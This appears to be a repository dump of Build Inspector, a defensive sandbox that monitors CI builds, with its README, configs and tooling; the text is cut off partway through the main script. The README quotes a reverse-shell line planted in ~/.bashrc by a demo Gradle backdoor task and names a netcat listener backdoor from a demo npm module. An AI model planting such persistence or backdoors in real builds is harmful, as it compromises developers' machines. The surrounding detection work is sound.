├── .gitignore ├── .ruby-gemset ├── .ruby-version ├── Build Inspector Research.pdf ├── Gemfile ├── Gemfile.lock ├── LICENSE.md ├── README.md ├── Rakefile ├── Vagrantfile ├── configs ├── bundler.yml ├── gem.yml ├── gradle.yml ├── maven.yml └── npm.yml ├── inspector ├── inspector_lib.rb ├── lib ├── build_inspector.rb ├── build_inspector_s3.rb ├── configuration.rb ├── evidence_collector.rb ├── evidence_processor.rb ├── packet_inspector.rb ├── printer.rb ├── report_builder.rb ├── report_template.html.erb ├── scripts │ ├── build_inspector_script.rb │ ├── insecure_network_finder.rb │ └── network_activity_finder.rb └── vagrant_whisperer.rb ├── provisioning ├── bootstrap.sh ├── filesystem-snapshot.txt ├── ntp.conf ├── pre-package-bootstrap.sh ├── pre-package-bootstrap2.sh ├── pre-package-bootstrap3.sh ├── sources.list └── sshd ├── receive.rb ├── run.sh ├── send.rb └── test-repos ├── TotallyLegitApp ├── .gitignore ├── .travis.yml ├── build.gradle ├── builds │ └── build2.sh ├── gradle │ └── wrapper │ │ ├── gradle-wrapper.jar │ │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle └── src │ └── main │ └── java │ └── org │ └── cf │ └── Main.java ├── ann-pee-am ├── README.md └── package.json └── harmless-project ├── .env ├── Gemfile └── Gemfile.lock /.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore any local Vagrant data 2 | .vagrant 3 | 4 | # Ignore any generated evidence files 5 | evidence-*/ 6 | evidence-*.zip 7 | 8 | # Ignore local configuration 9 | config.yml 10 | 11 | # Rubymine 12 | .idea/* 13 | 14 | libraries/* 15 | 16 | # Ignore any pcap folder for testing 17 | pcap/* 18 | 19 | # Ignore any results files 20 | *_results.json -------------------------------------------------------------------------------- /.ruby-gemset: -------------------------------------------------------------------------------- 1 | build-inspector 2 | -------------------------------------------------------------------------------- /.ruby-version: -------------------------------------------------------------------------------- 1 | 2.2.3 2 | -------------------------------------------------------------------------------- /Build Inspector Research.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/srcclr/build-inspector/8558d6128fee3533745e9e0a95867d1ce9e7be57/Build Inspector Research.pdf -------------------------------------------------------------------------------- /Gemfile: -------------------------------------------------------------------------------- 1 | source 'https://rubygems.org' 2 | 3 | gem 'packetfu' 4 | gem 'rubyzip' 5 | gem 'terminal-table' 6 | gem 'rainbow' 7 | gem 'bunny' 8 | gem 'aws-sdk', '~> 2' 9 | gem 'json' -------------------------------------------------------------------------------- /Gemfile.lock: -------------------------------------------------------------------------------- 1 | GEM 2 | remote: https://rubygems.org/ 3 | specs: 4 | amq-protocol (2.0.1) 5 | aws-sdk (2.6.42) 6 | aws-sdk-resources (= 2.6.42) 7 | aws-sdk-core (2.6.42) 8 | aws-sigv4 (~> 1.0) 9 | jmespath (~> 1.0) 10 | aws-sdk-resources (2.6.42) 11 | aws-sdk-core (= 2.6.42) 12 | aws-sigv4 (1.0.0) 13 | bunny (2.6.2) 14 | amq-protocol (>= 2.0.1) 15 | jmespath (1.3.1) 16 | json (2.0.2) 17 | network_interface (0.0.1) 18 | packetfu (1.1.11) 19 | network_interface (~> 0.0) 20 | pcaprub (~> 0.12) 21 | pcaprub (0.12.4) 22 | rainbow (2.1.0) 23 | rubyzip (1.2.0) 24 | terminal-table (1.7.3) 25 | unicode-display_width (~> 1.1.1) 26 | unicode-display_width (1.1.2) 27 | 28 | PLATFORMS 29 | ruby 30 | 31 | DEPENDENCIES 32 | aws-sdk (~> 2) 33 | bunny 34 | json 35 | packetfu 36 | rainbow 37 | rubyzip 38 | terminal-table 39 | 40 | BUNDLED WITH 41 | 1.13.6 42 | -------------------------------------------------------------------------------- /LICENSE.md: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "{}" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright {yyyy} {name of copyright owner} 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Build Inspector 2 | 3 | Build Inspector is a forensic sandbox for Continuous Integration environments. 4 | Ever wonder what's happening during your builds? Build Inspector monitors network activity, file system changes, and running processes, making it easier to spot unintended and potentially dangerous activities. Using a sandboxed environment, build operations will happen in isolation without compromising the machine. 5 | 6 | ## Requirements 7 | 8 | - [Ruby](https://www.ruby-lang.org/en/downloads/) (2.2.3<= Required) 9 | - [Vagrant](https://www.vagrantup.com/) 10 | - [Bundler](http://bundler.io/) 11 | 12 | Once those are installed, add the [Sahara Vagrant plugin](https://github.com/jedi4ever/sahara) 13 | and bundle install this project's dependencies: 14 | 15 | ```bash 16 | vagrant plugin install sahara 17 | git clone https://github.com/sourceclear/build-inspector.git 18 | bundle install 19 | ``` 20 | 21 | ## Running 22 | 23 | Once you're set up, you'll work with Build Inspector from inside the repository's directory: 24 | 25 | ```bash 26 | cd build_inspector 27 | ``` 28 | 29 | Build Inspector does not manage Vagrant for you, so you'll need to do that yourself. 30 | The first time you use it, you'll need to start Vagrant and build the image: 31 | 32 | ```bash 33 | vagrant up 34 | ``` 35 | 36 | Once vagrant is started, save a snapshot with: 37 | 38 | ```bash 39 | vagrant sandbox on 40 | ``` 41 | 42 | ### Usage 43 | 44 | ``` 45 | Usage inspector [options] 46 | -h, --help Display this screen 47 | -n, --no-rollback Do not roll back the virtual machine state after running 48 | -v, --verbose Be verbose 49 | -c, --config Use configuration file at , default=config.yml 50 | -p, --process Only process evidence at 51 | -b, --branch Clone from repository URL 52 | --url Git repo path is a URL 53 | --gem Perform a GEM based build 54 | --gradle Perform a Gradle based build 55 | --maven Perform a Maven based build 56 | --npm Perform a NPM based build 57 | 58 | ``` 59 | 60 | ### Gradle Example 61 | 62 | ```bash 63 | ./inspector --gradle test-repos/TotallyLegitApp --script=insecure_network_finder 64 | ``` 65 | 66 | The above project has a task called `backdoor` that adds a reverse 67 | connect shell to `~/.bashrc`. 68 | 69 | After running, you should see this at the bottom of the output: 70 | 71 | ``` 72 | changed: ~/.bashrc 73 | --- /backup/root/.bashrc 2014-02-19 21:43:56.000000000 -0500 74 | +++ /root/.bashrc 2015-11-08 13:07:40.579626388 -0500 75 | @@ -97,3 +97,5 @@ 76 | #if [ -f /etc/bash_completion ] && ! shopt -oq posix; then 77 | # . /etc/bash_completion 78 | #fi 79 | + 80 | +bash -c "bash -i>&/dev/tcp/localhost/1337 0>&1 &disown"&>/dev/null 81 | ``` 82 | 83 | In addition, you'll have a file that looks like 84 | `evidence-TotallyLegitApp-201523110032412.zip` which has all the 85 | network and process activity, file system changes, and any new processes. 86 | 87 | ### Bundler Example 88 | 89 | ```bash 90 | ./inspector --gem test-repos/harmless-project --script=insecure_network_finder 91 | ``` 92 | 93 | This bundler project has a gem that pings Google during its 94 | installation. 95 | 96 | Run it with Build Inspector and you'll see a list of domains 97 | that the machine tried to connect to. 98 | 99 | ``` 100 | Hosts contacted: 101 | www.google.com (74.125.224.113) 1.3K 102 | ``` 103 | 104 | ### NPM Example 105 | 106 | ```bash 107 | ./inspector --npm test-repos/ann-pee-am --script=insecure_network_finder 108 | ``` 109 | 110 | Inspecting this NPM project should yield the following output: 111 | 112 | ``` 113 | The following processes were running during the build: 114 | - /bin/sh -i 115 | - nc -l 0.0.0.0 8080 116 | ``` 117 | 118 | That's because the NPM project depends on a module that opens a 119 | persistent backdoor using `netcat`. 120 | 121 | ### Configuration 122 | 123 | Build Inspector monitors all network and file system activities. To ignore 124 | hosts or exclude directories from the monitoring, create and add a 125 | `config.yml` in the repository that looks like this: 126 | 127 | ```yaml 128 | --- 129 | 130 | commands: bundle install --jobs 2 131 | 132 | host_whitelist: 133 | - 10.0.2.2 # Vagrant's IP 134 | - 8.8.8.8 # Ignore DNS 135 | - bundler.rubygems.org 136 | - rubygems.global.ssl.fastly.net 137 | - rubygems.org 138 | 139 | evidence_files: 140 | exclude: 141 | - /home/vagrant/.gem 142 | include: 143 | - /etc 144 | ``` 145 | 146 | There are examples for different build systems in the [configs](configs) 147 | directory. You may copy the appropriate configs for your build system 148 | to the root of this project or you can write one from scratch. 149 | 150 | ## Reporting Suspicious Builds 151 | 152 | Help us understand what threats are out there in the wild by submitting any suspicious builds you encounter. This helps us protect against emerging threats, and ensure they're more widely known. 153 | 154 | To submit a suspicious build, just click this link to create a new issue: 155 | [Suspicious Build Issue Submission](https://github.com/sourceclear/build-inspector/issues/new?title=Suspicious%20Build%20Evidence&body=Where%20did%20you%20find%20this%20project%3F%0A%0AWhy%20do%20you%20think%20it%27s%20suspicious%3F%0A%0AAny%20other%20important%20details%3F%0A%0AHow%20are%20you%20doing%20today%3F). 156 | 157 | Then just drag the evidence zip file to the issue you just created to attach it. Thanks in advance! 158 | 159 | ## Troubleshooting 160 | 161 | If you're having a problem, try running `rake vagrant:test` and ensure your environment is setup correctly. 162 | 163 | ### Gradle Build Fails with java.lang.OutOfMemoryError 164 | 165 | A build may work on the host machine but fail with BuildInspector because the Vagrant virtual machine has less memory available than the host machine. There are two ways to work around this issue. 166 | 167 | #### Option 1: Modify [Vagrantfile](Vagrantfile) 168 | 169 | This is the most direct option. This file is used to setup some properties of the virtual machine. The relevant section is: 170 | ```ruby 171 | config.vm.provider 'virtualbox' do |vb| 172 | vb.customize ['modifyvm', :id, '--natdnsproxy1', 'off'] 173 | vb.customize ['modifyvm', :id, '--natdnshostresolver1', 'off'] 174 | vb.memory = 1024 175 | end 176 | ``` 177 | 178 | Simply adjust `vb.memory = 1024` to some other number such as `vb.memory = 2000` then rebuild the machine with `rake vagrant:rebuild`. The Java VM determines heap space as a portion of total memory available. Increasing the memory will also increase the heap space. 179 | 180 | #### Option 2: Adjust Java VM Heap Size 181 | 182 | If you're unable to adjust the memory requirements for the Vagrant virtual machine, you can try to tell Gradle to tell the Java VM to allocate more heap space. This can be done by adding the following command to your configuration: 183 | 184 | ```bash 185 | echo org.gradle.jvmargs=-Xmx2G >> gradle.properties 186 | ``` 187 | 188 | For example, `gradle.yml` is: 189 | 190 | ```yaml 191 | commands: gradle build 192 | ``` 193 | 194 | After adding this command it would be: 195 | 196 | ```yaml 197 | commands: 198 | - echo org.gradle.jvmargs=-Xmx2G >> gradle.properties 199 | - gradle build 200 | ``` 201 | 202 | ## Development 203 | 204 | When you want to experiment, just do: 205 | `vagrant sandbox on` 206 | 207 | Then, make all the changes you want to the image. If you'd like to save the changes, do: 208 | `vagrant sandbox commit` 209 | 210 | Otherwise, you can wipe out the changes with: 211 | `vagrant sandbox rollback` 212 | 213 | There are also a number of Rake tasks: 214 | ``` 215 | rake vagrant:commit # Commits the machine's state 216 | rake vagrant:destroy # Destroy Vagrant image 217 | rake vagrant:halt # Gracefully stop Vagrant 218 | rake vagrant:rebuild # Equivalent to a `vagrant destroy && vagrant up` 219 | rake vagrant:reload # Equivalent to a `vagrant halt && vagrant up` 220 | rake vagrant:rollback # Restores the previously committed machine state 221 | rake vagrant:test # Check environment to determine if build-inspector should work 222 | rake vagrant:up # Start Vagrant 223 | rake vagrant:update # Upgrade Vagrant image 224 | ``` 225 | -------------------------------------------------------------------------------- /Rakefile: -------------------------------------------------------------------------------- 1 | require 'rake' 2 | require 'optparse' 3 | require_relative 'lib/printer' 4 | 5 | namespace :vagrant do 6 | desc 'Restores the previously committed machine state' 7 | task :rollback do 8 | Printer.exec_puts('vagrant sandbox rollback') 9 | end 10 | 11 | desc "Commits the machine's state. Future rollbacks will go to this state" 12 | task :commit do 13 | Printer.exec_puts('vagrant sandbox commit') 14 | end 15 | 16 | desc "Gracefully stop Vagrant" 17 | task :halt do 18 | Printer.exec_puts('vagrant halt') 19 | end 20 | 21 | desc "Start Vagrant" 22 | task :up do 23 | Printer.exec_puts('vagrant up') 24 | end 25 | 26 | desc "Upgrade Vagrant image" 27 | task :update do 28 | Printer.exec_puts('vagrant box update') 29 | end 30 | 31 | desc "Destroy Vagrant image" 32 | task :destroy do 33 | Printer.exec_puts('vagrant destroy -f') 34 | end 35 | 36 | desc 'Equivalent to a `vagrant destroy && vagrant up`' 37 | task rebuild: [:destroy, :up] 38 | 39 | desc 'Equivalent to a `vagrant halt && vagrant up`' 40 | task :reload do 41 | Printer.exec_puts('vagrant reload') 42 | end 43 | 44 | desc 'Check environment to determine if build-inspector should work' 45 | task :test do 46 | vagrant_path = `which vagrant` 47 | if vagrant_path == '' || vagrant_path == 'vagrant not found' 48 | puts "Vagrant installed:\t\tNO" 49 | return 50 | else 51 | puts "Vagrant installed:\t\tyes - path=#{vagrant_path}" 52 | end 53 | 54 | plugin_str = `vagrant plugin list` 55 | indx = plugin_str.index('sahara (') 56 | if indx 57 | start_offset = indx + 'sahara ('.length 58 | end_offset = plugin_str.index(')', start_offset) - 1 59 | sandbox_version = plugin_str[start_offset..end_offset] 60 | puts "Sandbox plugin installed:\tyes - version=#{sandbox_version}" 61 | else 62 | puts "Sandbox plugin installed:\tNO" 63 | end 64 | 65 | status_str = `vagrant status` 66 | status_line = status_str.split("\n").select { |e| e.start_with?('default') }.first 67 | status = status_line.split(/\s+/)[1] 68 | if status == 'not created' 69 | puts "Box provisioned:\t\tNO" 70 | else 71 | puts "Box provisioned:\t\tyes - status=#{status}" 72 | end 73 | end 74 | end 75 | -------------------------------------------------------------------------------- /Vagrantfile: -------------------------------------------------------------------------------- 1 | # -*- mode: ruby -*- 2 | # vi: set ft=ruby : 3 | 4 | Vagrant.configure(2) do |config| 5 | config.vm.box = 'ubuntu/trusty64' 6 | 7 | config.vm.box_check_update = false 8 | 9 | # Provisioning 10 | PROVISIONING_DIR = 'provisioning' 11 | sources = 'sources.list' 12 | sshd = 'sshd' 13 | snapshot_files = 'filesystem-snapshot.txt' 14 | config.vm.provision :file, source: File.join(PROVISIONING_DIR, sources), destination: sources 15 | config.vm.provision :file, source: File.join(PROVISIONING_DIR, sshd), destination: sshd 16 | config.vm.provision :file, source: File.join(PROVISIONING_DIR, snapshot_files), destination: snapshot_files 17 | config.vm.provision :shell, path: File.join(PROVISIONING_DIR, 'pre-package-bootstrap.sh'), keep_color: true 18 | config.vm.provision :shell, privileged: false, path: File.join(PROVISIONING_DIR, 'pre-package-bootstrap2.sh') 19 | config.vm.provision :shell, path: File.join(PROVISIONING_DIR, 'pre-package-bootstrap3.sh') 20 | config.vm.provision :shell, path: File.join(PROVISIONING_DIR, 'bootstrap.sh') 21 | 22 | # Security! 23 | config.vm.synced_folder '.', '/vagrant', disabled: true 24 | 25 | config.vm.provider 'virtualbox' do |vb| 26 | vb.customize ['modifyvm', :id, '--natdnsproxy1', 'off'] 27 | vb.customize ['modifyvm', :id, '--natdnshostresolver1', 'off'] 28 | vb.memory = 3096 29 | end 30 | 31 | config.vm.provider :digital_ocean do |provider, override| 32 | override.ssh.private_key_path = ENV['PRIVATE_KEY_PATH'] || '~/.ssh/id_rsa' 33 | override.vm.box = 'digital_ocean' 34 | override.vm.box_url = "https://github.com/smdahlen/vagrant-digitalocean/raw/master/box/digital_ocean.box" 35 | 36 | provider.name = 'inspector' 37 | provider.token = ENV['DIGITAL_OCEAN_TOKEN'] 38 | provider.image = 'ubuntu-14-04-x64' 39 | provider.region = 'sgp1' 40 | provider.size = '512mb' 41 | end 42 | end 43 | -------------------------------------------------------------------------------- /configs/bundler.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | commands: bundle install --jobs=3 --retry=3 4 | 5 | # Exclude these hosts and IP addresses from network monitoring 6 | host_whitelist: 7 | - 10.0.2.2 # VirtualBox's address 8 | - bundler.rubygems.org 9 | - index.rubygems.org 10 | - rubygems.global.ssl.fastly.net 11 | - rubygems.org 12 | 13 | # Files or directories which should be included or excluded from evidence collection 14 | evidence_files: 15 | exclude: 16 | - /backup 17 | - /dev 18 | - /evidence 19 | - /home/vagrant/.bundle 20 | - /home/vagrant/.gem 21 | - /home/vagrant/.rvm 22 | - /home/vagrant/repo 23 | - /lost+found 24 | - /media 25 | - /mnt 26 | - /proc 27 | - /run 28 | - /sys 29 | - /tmp 30 | - /vagrant 31 | - /var/lock 32 | - /var/log 33 | - /var/run 34 | - /var/tmp 35 | include: 36 | - /bin 37 | - /boot 38 | - /etc 39 | - /home 40 | - /lib 41 | - /opt 42 | - /root 43 | - /sbin 44 | - /selinux 45 | - /srv 46 | - /usr 47 | - /var 48 | -------------------------------------------------------------------------------- /configs/gem.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | commands: 4 | - gem install 5 | 6 | # Exclude these hosts and IP addresses from network monitoring 7 | host_whitelist: 8 | - 10.0.2.2 # VirtualBox's address 9 | - api.rubigems.org 10 | - bundler.rubygems.org 11 | - index.rubygems.org 12 | - rubygems.global.ssl.fastly.net 13 | - rubygems.org 14 | 15 | # Files or directories which should be included or excluded from evidence collection 16 | evidence_files: 17 | exclude: 18 | - /backup 19 | - /dev 20 | - /evidence 21 | - /home/vagrant/.bundle 22 | - /home/vagrant/.gem 23 | - /home/vagrant/.rvm 24 | - /home/vagrant/repo 25 | - /lost+found 26 | - /media 27 | - /mnt 28 | - /proc 29 | - /run 30 | - /sys 31 | - /tmp 32 | - /vagrant 33 | - /var/lock 34 | - /var/log 35 | - /var/run 36 | - /var/tmp 37 | include: 38 | - /bin 39 | - /boot 40 | - /etc 41 | - /home 42 | - /lib 43 | - /opt 44 | - /root 45 | - /sbin 46 | - /selinux 47 | - /srv 48 | - /usr 49 | - /var 50 | -------------------------------------------------------------------------------- /configs/gradle.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | commands: 4 | - gradle build 5 | 6 | # Exclude these hosts and IP addresses from network monitoring 7 | host_whitelist: 8 | - 10.0.2.2 # VirtualBox's address 9 | - downloads.gradle.org 10 | - repo.maven.apache.org 11 | - repo1.maven.org 12 | - services.gradle.org 13 | 14 | # Files or directories which should be included or excluded from evidence collection 15 | evidence_files: 16 | exclude: 17 | - /backup 18 | - /dev 19 | - /evidence 20 | - /home/vagrant/.gradle 21 | - /home/vagrant/repo 22 | - /lost+found 23 | - /media 24 | - /mnt 25 | - /proc 26 | - /run 27 | - /sys 28 | - /tmp 29 | - /vagrant 30 | - /var/lock 31 | - /var/log 32 | - /var/run 33 | - /var/tmp 34 | include: 35 | - /bin 36 | - /boot 37 | - /etc 38 | - /home 39 | - /lib 40 | - /opt 41 | - /root 42 | - /sbin 43 | - /selinux 44 | - /srv 45 | - /usr 46 | - /var 47 | -------------------------------------------------------------------------------- /configs/maven.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | commands: 4 | - mvn package 5 | 6 | # Exclude these hosts and IP addresses from network monitoring 7 | host_whitelist: 8 | - 10.0.2.2 # VirtualBox's address 9 | - repo.maven.apache.org 10 | - repo1.maven.org 11 | 12 | # Files or directories which should be included or excluded from evidence collection 13 | evidence_files: 14 | exclude: 15 | - /backup 16 | - /dev 17 | - /evidence 18 | - /home/vagrant/.m2 19 | - /home/vagrant/repo 20 | - /lost+found 21 | - /media 22 | - /mnt 23 | - /proc 24 | - /run 25 | - /sys 26 | - /tmp 27 | - /vagrant 28 | - /var/lock 29 | - /var/log 30 | - /var/run 31 | - /var/tmp 32 | include: 33 | - /bin 34 | - /boot 35 | - /etc 36 | - /home 37 | - /lib 38 | - /opt 39 | - /root 40 | - /sbin 41 | - /selinux 42 | - /srv 43 | - /usr 44 | - /var 45 | -------------------------------------------------------------------------------- /configs/npm.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | commands: 4 | - npm install 5 | 6 | # Exclude these hosts and IP addresses from network monitoring 7 | host_whitelist: 8 | - 10.0.2.2 # VirtualBox's address 9 | - registry.npmjs.org 10 | - nodejs.org 11 | 12 | # Files or directories which should be included or excluded from evidence collection 13 | evidence_files: 14 | exclude: 15 | - /backup 16 | - /dev 17 | - /evidence 18 | - /home/vagrant/.npm 19 | - /home/vagrant/repo 20 | - /lost+found 21 | - /media 22 | - /mnt 23 | - /proc 24 | - /run 25 | - /sys 26 | - /tmp 27 | - /vagrant 28 | - /var/lock 29 | - /var/log 30 | - /var/run 31 | - /var/tmp 32 | include: 33 | - /bin 34 | - /boot 35 | - /etc 36 | - /home 37 | - /lib 38 | - /opt 39 | - /root 40 | - /sbin 41 | - /selinux 42 | - /srv 43 | - /usr 44 | - /var 45 | -------------------------------------------------------------------------------- /inspector: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | 3 | =begin 4 | Copyright 2016 SourceClear Inc 5 | 6 | Licensed under the Apache License, Version 2.0 (the "License"); 7 | you may not use this file except in compliance with the License. 8 | You may obtain a copy of the License at 9 | 10 | http://www.apache.org/licenses/LICENSE-2.0 11 | 12 | Unless required by applicable law or agreed to in writing, software 13 | distributed under the License is distributed on an "AS IS" BASIS, 14 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | See the License for the specific language governing permissions and 16 | limitations under the License. 17 | =end 18 | 19 | require 'optparse' 20 | require_relative 'lib/build_inspector' 21 | require_relative 'lib/configuration' 22 | require_relative 'lib/evidence_collector' 23 | require_relative 'lib/evidence_processor' 24 | require_relative 'lib/printer' 25 | require_relative 'lib/vagrant_whisperer' 26 | require_relative 'lib/report_builder' 27 | require_relative 'inspector_lib' 28 | 29 | # Don't buffer output; flush it immediately. 30 | $stdout.sync = true 31 | 32 | options = { 33 | rollback: true, 34 | config: 'config.yml', 35 | branch: 'master', 36 | s3: false, 37 | script: nil, 38 | only_process: nil, 39 | is_url: false, 40 | verbose: false, 41 | repo: nil, 42 | results: nil 43 | } 44 | 45 | optparse = OptionParser.new do |opts| 46 | opts.banner = "Usage #{File.basename($0)} [options] " 47 | opts.on('-h', '--help', 'Display this screen') do 48 | puts opts 49 | exit 50 | end 51 | 52 | opts.on('-n', '--no-rollback', 53 | 'Do not roll back the virtual machine state after running') do 54 | options[:rollback] = false 55 | end 56 | 57 | opts.on('-v', '--verbose', 'Be verbose') do 58 | options[:verbose] = true 59 | end 60 | 61 | opts.on('-c', '--config ', String, 62 | "Use configuration file at , default=#{options[:config]}") do |config| 63 | options[:config] = config 64 | end 65 | 66 | opts.on('-p', '--process 